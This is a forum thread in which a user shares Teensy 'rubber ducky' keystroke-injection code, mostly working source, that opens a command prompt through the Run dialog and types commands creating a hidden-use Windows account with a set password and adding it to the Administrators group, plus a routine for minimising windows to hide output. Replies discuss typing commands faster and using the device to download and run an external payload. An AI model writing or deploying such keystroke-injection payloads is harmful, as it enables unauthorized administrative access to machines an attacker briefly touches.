Jump to content

[Version 1] My Ducky Code (Teensy Prototype)


dmsmith1991
 Share

Recommended Posts

Hi Everyone

Just wanted to share my first ducky code. It's similar to others that have been posted, but the keypress functions are modular and the ExecuteCommandViaRunWindow function gives you the option to minimise the executed program's window after it has been created. Simply specify 1 for the minimiseWindow argument, and 0 if you are executing something like notepad.exe which you don't want minimised.

The current payload creates a new user for windows named "DuckyWasHere" and adds it to the administrator group. Run "net user DuckyWasHere /delete" in command prompt to delete this account.

The delay values can probably be reduced; I have been testing on a low-spec desktop.

/*
Modular ducky code with windows minimising by w02057. Based on code by Irongeek.
*/

//***pin definitions***
int ledPin = 11;

void setup()
{
  pinMode(ledPin, OUTPUT);
}

void loop()
{
  delay(4000);
  digitalWrite(ledPin, HIGH); //turn on indicator LED
  ExecuteCommandViaRunWindow("cmd.exe", 0); //open cmd
  delay(1000);
  ExecuteCommand("net user DuckyWasHere quackquack /add"); //type out 1st command
  ExecuteCommand("net localgroup Administrators DuckyWasHere /add"); //type out 2nd command
  ExecuteCommand("exit"); //exit cmd
  digitalWrite(ledPin, LOW); //turn off indicator LED
  
  while(1); //halt code
}

void ExecuteCommand(char *command)
{
  Keyboard.print(command);
  delay(10);
  PressAndRelease(KEY_ENTER, 1);
  delay(100);
}

void ExecuteCommandViaRunWindow(char *command, int minimiseWindow)
{
  PressAndReleaseWithModifier(MODIFIERKEY_GUI, KEY_R); //open run command window
  delay(100); //delay to wait for run window to appear
  
  //***type command into run window and press enter***
  ExecuteCommand(command);
  
  //***minimise executed command window if minimiseWindow is set***
  if(minimiseWindow == 1)
  {
    delay(1000);
    PressAndReleaseWithModifier(MODIFIERKEY_ALT, KEY_SPACE);
    PressAndRelease(KEY_DOWN, 3);
    PressAndRelease(KEY_ENTER, 1);
  }
}

void PressAndRelease(int keyCode, int keyCount)
{
    int keyCounter=0;
    for(keyCounter=0; keyCounter<keyCount; keyCounter++)
    {
      Keyboard.set_key1(keyCode);
      Keyboard.send_now();
      delay(10);
      Keyboard.set_key1(0);
      Keyboard.send_now();
      delay(10);
    }
}

void PressAndReleaseWithModifier(int modifierKey, int keyCode)
{
  Keyboard.set_modifier(modifierKey);
  Keyboard.set_key1(keyCode);
  Keyboard.send_now();
  delay(10);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(10);
}

I hope this can help people who are struggling to get going on this project. This is my first attempt at writing code for the Teensy, the key functions should be all that is needed for key-based payloads.

Based on code by IronGeek

Any comments or suggestions would be appreciated.

Thanks,

David

Edited by w02057
Link to comment
Share on other sites

Hi Everyone

Just wanted to share my first ducky code. It's similar to others that have been posted, but the keypress functions are modular and the ExecuteCommandViaRunWindow function gives you the option to minimise the executed program's window after it has been created. Simply specify 1 for the minimiseWindow argument, and 0 if you are executing something like notepad.exe which you don't want minimised.

The current payload creates a new user for windows named "DuckyWasHere" and adds it to the administrator group. Run "net user DuckyWasHere /delete" in command prompt to delete this account.

The delay values can probably be reduced; I have been testing on a low-spec desktop.

/*
Modular ducky code with windows minimising by w02057. Based on code by Irongeek.
*/

//***pin definitions***
int ledPin = 11;

void setup()
{
  pinMode(ledPin, OUTPUT);
}

void loop()
{
  delay(4000);
  digitalWrite(ledPin, HIGH); //turn on indicator LED
  ExecuteCommandViaRunWindow("cmd.exe", 0); //open cmd
  delay(1000);
  ExecuteCommand("net user DuckyWasHere quackquack /add"); //type out 1st command
  ExecuteCommand("net localgroup Administrators DuckyWasHere /add"); //type out 2nd command
  ExecuteCommand("exit"); //exit cmd
  digitalWrite(ledPin, LOW); //turn off indicator LED
  
  while(1); //halt code
}

void ExecuteCommand(char *command)
{
  Keyboard.print(command);
  delay(10);
  PressAndRelease(KEY_ENTER, 1);
  delay(100);
}

void ExecuteCommandViaRunWindow(char *command, int minimiseWindow)
{
  PressAndReleaseWithModifier(MODIFIERKEY_GUI, KEY_R); //open run command window
  delay(100); //delay to wait for run window to appear
  
  //***type command into run window and press enter***
  ExecuteCommand(command);
  
  //***minimise executed command window if minimiseWindow is set***
  if(minimiseWindow == 1)
  {
    delay(1000);
    PressAndReleaseWithModifier(MODIFIERKEY_ALT, KEY_SPACE);
    PressAndRelease(KEY_DOWN, 3);
    PressAndRelease(KEY_ENTER, 1);
  }
}

void PressAndRelease(int keyCode, int keyCount)
{
    int keyCounter=0;
    for(keyCounter=0; keyCounter<keyCount; keyCounter++)
    {
      Keyboard.set_key1(keyCode);
      Keyboard.send_now();
      delay(10);
      Keyboard.set_key1(0);
      Keyboard.send_now();
      delay(10);
    }
}

void PressAndReleaseWithModifier(int modifierKey, int keyCode)
{
  Keyboard.set_modifier(modifierKey);
  Keyboard.set_key1(keyCode);
  Keyboard.send_now();
  delay(10);
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(10);
}

I hope this can help people who are struggling to get going on this project. This is my first attempt at writing code for the Teensy, the key functions should be all that is needed for key-based payloads.

Based on code by IronGeek

Any comments or suggestions would be appreciated.

Thanks,

David

Doing alt-space and just hitting "n" will minimize it without having to do all those arrow keys.

But again, This minimize thing would be useless for the actual part that eats up most of the time (the ducky actually typing the commands out, which wouldnt work if its minimized...) I doubt the commands they end up calling will take long enough time that requires it minimized, just the typing of the commands takes the longest

Link to comment
Share on other sites

Doing alt-space and just hitting "n" will minimize it without having to do all those arrow keys.

But again, This minimize thing would be useless for the actual part that eats up most of the time (the ducky actually typing the commands out, which wouldnt work if its minimized...) I doubt the commands they end up calling will take long enough time that requires it minimized, just the typing of the commands takes the longest

Ok thanks for your suggestions. I was just exploring the windows minimising as it might be useful for some programs if they give suspicious output.

I have found that while a command is executing within command prompt, there is an input buffer which allows you to enter commands while this program is executing. This means that I can open command prompt, type all the commands within a few hundred milliseconds and they will all execute one after then other.

Edited by w02057
Link to comment
Share on other sites

Despite it's limited use cases i think the minimize thing is a good idea to have implemented. I will be adding that to my code along with some other things like show desktop and I will also add support for macs and default linux configs.

I can see using this to let things run for a few seconds after the ducky is removed without a big black box being on the screen. Think downloading and executing and external payload.

Link to comment
Share on other sites

  • 2 years later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...